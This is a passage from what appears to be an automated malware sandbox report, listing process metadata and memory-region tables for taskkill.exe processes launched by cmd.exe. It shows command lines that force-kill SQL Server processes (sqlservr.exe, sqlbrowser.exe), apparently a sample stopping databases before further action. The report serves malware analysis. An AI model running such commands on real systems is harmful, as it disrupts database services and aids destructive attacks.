  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A5C
0x A60
0x A4C
0x A64
0x A68
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000f0000 0x000f0000 0x000fffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00100000 0x00103fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000120000 0x00120000 0x00120fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000130000 0x00130000 0x0016ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000170000 0x00170000 0x001affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000001b0000 0x001b0000 0x001effff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000001f0000 0x001f0000 0x001f0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000200000 0x00200000 0x0023ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000240000 0x00240000 0x00240fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000002b0000 0x002b0000 0x002effff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x002f0000 0x003affff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000003c0000 0x003c0000 0x0043ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000470000 0x00470000 0x004affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004e0000 0x004e0000 0x0051ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000540000 0x00540000 0x0057ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00590000 0x005a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000005b0000 0x005b0000 0x006affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000730000 0x00730000 0x0082ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000830000 0x00830000 0x009b7fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000009c0000 0x009c0000 0x00b40fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000b50000 0x00b50000 0x01f4ffff Pagefile Backed Memory Readable True False False
  • Region Actions
sortdefault.nls 0x01f50000 0x0221efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002240000 0x02240000 0x0227ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000022b0000 0x022b0000 0x022effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002380000 0x02380000 0x023bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000024a0000 0x024a0000 0x024dffff Private Memory Readable, Writable True False False
  • Region Actions
ntdsapi.dll 0x6a4b0000 0x6a4c7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
fastprox.dll 0x6a4d0000 0x6a565fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a570000 0x6a57efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a580000 0x6a5a8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a5b0000 0x6a60bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a720000 0x6a729fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a7b0000 0x6a89afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8a0000 0x6a8aefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a8b0000 0x6a8c0fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x6a8d0000 0x6a8dcfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8e0000 0x6a914fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x73e30000 0x73e38fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #34: taskkill.exe
+
Information Value
ID #34
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM sqlbrowser.exe /IM sqlbrowser.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:31, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:04
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa8c
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A98
0x A50
0x A40
0x A3C
0x A2C
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
locale.nls 0x00070000 0x000d6fff Memory Mapped File Readable False False False
  • Region Actions
pagefile_0x00000000000e0000 0x000e0000 0x000e1fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x000f0000 0x000f3fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000100000 0x00100000 0x00100fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000110000 0x00110000 0x00110fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000120000 0x00120000 0x00120fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000130000 0x00130000 0x0016ffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x00170000 0x0022ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000230000 0x00230000 0x0026ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000270000 0x00270000 0x00270fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000000290000 0x00290000 0x002cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000002f0000 0x002f0000 0x0032ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000370000 0x00370000 0x003affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000003d0000 0x003d0000 0x0044ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00490000 0x004a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x005affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000610000 0x00610000 0x0070ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000710000 0x00710000 0x00897fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000008a0000 0x008a0000 0x008affff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000008b0000 0x008b0000 0x00a30fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000a40000 0x00a40000 0x01e3ffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001e90000 0x01e90000 0x01ecffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f00000 0x01f00000 0x01f3ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000001f70000 0x01f70000 0x01faffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002010000 0x02010000 0x0204ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002090000 0x02090000 0x020cffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002110000 0x02110000 0x0214ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002220000 0x02220000 0x0225ffff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x02260000 0x0252efff Memory Mapped File Readable False False False
  • Region Actions
fastprox.dll 0x6a480000 0x6a515fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a520000 0x6a60afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x6a7d0000 0x6a7e7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x6a7f0000 0x6a7fefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x6a800000 0x6a828fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x6a830000 0x6a88bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x6a890000 0x6a899fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
framedynos.dll 0x6a8a0000 0x6a8d4fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x6a8e0000 0x6a8eefff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x6a8f0000 0x6a8f8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x6a900000 0x6a910fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x73e30000 0x73e3cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
srvcli.dll 0x75330000 0x75348fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptbase.dll 0x753f0000 0x753fbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sspicli.dll 0x75400000 0x7545ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msvcrt.dll 0x755a0000 0x7564bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
advapi32.dll 0x763f0000 0x7648ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
clbcatq.dll 0x76490000 0x76512fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernel32.dll 0x76520000 0x7662ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrt4.dll 0x76690000 0x7677ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
shlwapi.dll 0x76780000 0x767d6fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
imm32.dll 0x767e0000 0x7683ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
oleaut32.dll 0x76910000 0x7699efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
sechost.dll 0x769a0000 0x769b8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
nsi.dll 0x76c80000 0x76c85fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
usp10.dll 0x76c90000 0x76d2cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ole32.dll 0x76d30000 0x76e8bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
lpk.dll 0x76ea0000 0x76ea9fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ws2_32.dll 0x77130000 0x77164fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
msctf.dll 0x771f0000 0x772bbfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
kernelbase.dll 0x772c0000 0x77305fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
user32.dll 0x77310000 0x7740ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
gdi32.dll 0x77410000 0x7749ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x00000000774a0000 0x774a0000 0x77599fff Private Memory Readable, Writable, Executable True False False
  • Region Actions
private_0x00000000775a0000 0x775a0000 0x776befff Private Memory Readable, Writable, Executable True False False
  • Region Actions
ntdll.dll 0x776c0000 0x77868fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdll.dll 0x778a0000 0x77a1ffff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
private_0x000000007efaa000 0x7efaa000 0x7efacfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efad000 0x7efad000 0x7efaffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x000000007efb0000 0x7efb0000 0x7efd2fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007efd5000 0x7efd5000 0x7efd7fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efd8000 0x7efd8000 0x7efdafff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdb000 0x7efdb000 0x7efddfff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efde000 0x7efde000 0x7efdefff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efdf000 0x7efdf000 0x7efdffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x000000007efe0000 0x7efe0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
pagefile_0x000000007efe0000 0x7efe0000 0x7f0dffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x000000007f0e0000 0x7f0e0000 0x7ffdffff Private Memory Readable True False False
  • Region Actions
private_0x000000007ffe0000 0x7ffe0000 0x7ffeffff Private Memory Readable True False False
  • Region Actions
private_0x000000007fff0000 0x7fff0000 0x7fffffeffff Private Memory Readable True False False
  • Region Actions
Process #35: taskkill.exe
+
Information Value
ID #35
File Name c:\windows\syswow64\taskkill.exe
Command Line TASKKILL /F /IM sqlservr.exe /IM sqlservr.exe
Initial Working Directory C:\Users\kFT6uTQW\Desktop\
Monitor Start Time: 00:01:32, Reason: Child Process
Unmonitor End Time: 00:02:35, Reason: Terminated by Timeout
Monitor Duration 00:01:03
Remarks No high level activity detected in monitored regions
OS Process Information
+
Information Value
PID 0xa38
Parent PID 0xbb0 (c:\windows\syswow64\cmd.exe)
Is Created or Modified Executable False
Integrity Level Medium
Username XABNCPUWKW\kFT6uTQW
Groups
  • XABNCPUWKW\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • BUILTIN\Administrators (USE_FOR_DENY_ONLY)
  • BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\Logon Session 00000000:0000e8ae (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID)
  • LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
  • NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x A30
0x A8
0x B74
0x B88
0x AB8
Region
+
Name Start VA End VA Type Permissions Monitored Dump YARA Match Actions
private_0x0000000000010000 0x00010000 0x0002ffff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000010000 0x00010000 0x0001ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000020000 0x00020000 0x0002ffff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000030000 0x00030000 0x00031fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x0000000000030000 0x00030000 0x00036fff Pagefile Backed Memory Readable True False False
  • Region Actions
apisetschema.dll 0x00040000 0x00040fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x0000000000050000 0x00050000 0x00053fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000060000 0x00060000 0x00060fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000070000 0x00070000 0x00071fff Pagefile Backed Memory Readable, Writable True False False
  • Region Actions
taskkill.exe.mui 0x00080000 0x00083fff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x0000000000090000 0x00090000 0x00090fff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000000a0000 0x000a0000 0x000a0fff Private Memory Readable, Writable True False False
  • Region Actions
pagefile_0x00000000000b0000 0x000b0000 0x000b0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x00000000000c0000 0x000c0000 0x000c0fff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x00000000000d0000 0x000d0000 0x0010ffff Private Memory Readable, Writable True False False
  • Region Actions
locale.nls 0x00110000 0x00176fff Memory Mapped File Readable False False False
  • Region Actions
private_0x00000000001a0000 0x001a0000 0x001dffff Private Memory Readable, Writable True False False
  • Region Actions
kernelbase.dll.mui 0x001e0000 0x0029ffff Memory Mapped File Readable, Writable False False False
  • Region Actions
private_0x00000000002f0000 0x002f0000 0x002fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000360000 0x00360000 0x003dffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000420000 0x00420000 0x0045ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004b0000 0x004b0000 0x004effff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000004f0000 0x004f0000 0x0052ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000560000 0x00560000 0x0065ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000670000 0x00670000 0x006affff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000006d0000 0x006d0000 0x0070ffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000000750000 0x00750000 0x0078ffff Private Memory Readable, Writable True False False
  • Region Actions
taskkill.exe 0x00790000 0x007a5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
pagefile_0x00000000007b0000 0x007b0000 0x00937fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000940000 0x00940000 0x00ac0fff Pagefile Backed Memory Readable True False False
  • Region Actions
pagefile_0x0000000000ad0000 0x00ad0000 0x01ecffff Pagefile Backed Memory Readable True False False
  • Region Actions
private_0x0000000001ed0000 0x01ed0000 0x01fcffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002070000 0x02070000 0x020affff Private Memory Readable, Writable True False False
  • Region Actions
sortdefault.nls 0x020b0000 0x0237efff Memory Mapped File Readable False False False
  • Region Actions
private_0x0000000002380000 0x02380000 0x023bffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x00000000023c0000 0x023c0000 0x023fffff Private Memory Readable, Writable True False False
  • Region Actions
private_0x0000000002430000 0x02430000 0x0246ffff Private Memory Readable, Writable True False False
  • Region Actions
fastprox.dll 0x6a570000 0x6a605fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
dbghelp.dll 0x6a830000 0x6a91afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
mpr.dll 0x73ba0000 0x73bb1fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64cpu.dll 0x73fd0000 0x73fd7fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64win.dll 0x73fe0000 0x7403bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wow64.dll 0x74040000 0x7407efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
secur32.dll 0x74080000 0x74087fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rsaenh.dll 0x74460000 0x7449afff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
rpcrtremote.dll 0x749d0000 0x749ddfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
cryptsp.dll 0x749e0000 0x749f5fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
version.dll 0x74b50000 0x74b58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
ntdsapi.dll 0x74b70000 0x74b87fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemsvc.dll 0x74b90000 0x74b9efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
winsta.dll 0x74ba0000 0x74bc8fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemcomn.dll 0x74bd0000 0x74c2bfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wbemprox.dll 0x74c30000 0x74c39fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wkscli.dll 0x74c40000 0x74c4efff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netutils.dll 0x74c50000 0x74c58fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
netapi32.dll 0x74c60000 0x74c70fff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
wtsapi32.dll 0x74c80000 0x74c8cfff Memory Mapped File Readable, Writable, Executable False False False
  • Region Actions
